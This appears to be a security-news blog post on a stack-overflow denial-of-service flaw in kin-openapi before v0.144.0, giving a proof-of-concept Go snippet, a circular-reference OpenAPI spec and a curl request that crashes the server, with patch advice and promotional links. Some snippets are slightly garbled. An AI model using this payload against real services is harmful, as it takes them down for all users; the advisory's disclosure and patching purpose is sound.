Listen to this Post
The vulnerability arises because kin-openapi’s spec loader and spec-time validator handle circular schema references using stack-based cycle detection, accepting recursive definitions successfully during parsing.
However, runtime validators lack this vital protection during request and response validation, as well as during query parameter decoding operations.
When a circular schema involving combinators like allOf, anyOf, or oneOf is evaluated at runtime, the recursion through the combinator chain becomes completely unbounded.
In the Go programming language, this uncontrolled recursion triggers a fatal stack overflow error that exceeds the maximum goroutine stack limit.
Unlike standard application panics, this fatal runtime error cannot be caught by recover() blocks or deferred recovery functions.
This means that standard net/http per-connection recovery middleware is rendered completely ineffective against this class of error.
Consequently, a single malicious incoming request or a malformed specification loaded into the application terminates the entire server process instantly.
The crash brings down all active goroutines and concurrent connections serving other clients, creating an unrecoverable whole-process denial of service.
The lack of cycle checks was confirmed in multiple independent runtime recursion sites across visitor functions and parameter decoders.
Applications loading OpenAPI specifications from untrusted or semi-trusted sources are at the highest risk of remote exploitation.
Even applications using trusted specifications can be affected if a degenerate recursive combinator accidentally exists in their schema definitions.
DailyCVE Form:
Platform: kin-openapi
Version: Prior to v0.144.0
Vulnerability : Stack Overflow DoS
Severity : High
date : August 2026
Prediction : Patched in v0.144.0
What Undercode Say:
Analytics and debugging commands related to the bug analysis and environment verification:
go version go test -v ./openapi3/... ./openapi3filter/...
Go runtime stack trace analysis showing the infinite loop:
runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow github.com/getkin/kin-openapi/openapi3.(Schema).visitJSON(...) github.com/getkin/kin-openapi/openapi3.(Schema).visitXOFOperations(...)
Exploit: (Educational Purposes!)
Path A: Direct schema validation and VisitJSON execution with a circular allOf reference:
recursiveSchema := &openapi3.Schema{
Type: &openapi3.Types{"object"},
Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}}
_ = recursiveSchema.Validate(ctx)
_ = recursiveSchema.VisitJSON(map[bash]any{"name": "test"})
Path B: HTTP request validation payload against a loaded OpenAPI 3.0 specification:
openapi: '3.0.0'
info: { Circular allOf crash PoC, version: '1.0' }
paths:
/test:
get:
parameters:
- name: data
in: query
schema: { $ref: '/components/schemas/Recursive' }
responses: { '200': { description: OK } }
components:
schemas:
Recursive:
type: object
allOf:
- $ref: '/components/schemas/Recursive'
properties:
name: { type: string }
Sending a request via curl to trigger the unrecoverable server crash:
curl "http://localhost:8080/test?data=x"
Protection: from this CVE
Update kin-openapi to version 0.144.0 or higher where stack-based cycle detection is properly enforced on all runtime visitors and decoder paths.
Verification output after applying the fix returns a clean HTTP 400 error instead of crashing the process:
Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding"
Impact:
An unrecoverable, whole-process denial of service affecting all host types.
Because the crash is a fatal Go runtime error rather than a recoverable panic, it bypasses per-request recovery handlers.
Attackers can supply malicious specs to API gateways, linters, mock servers, or documentation generators to remotely crash services instantly.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
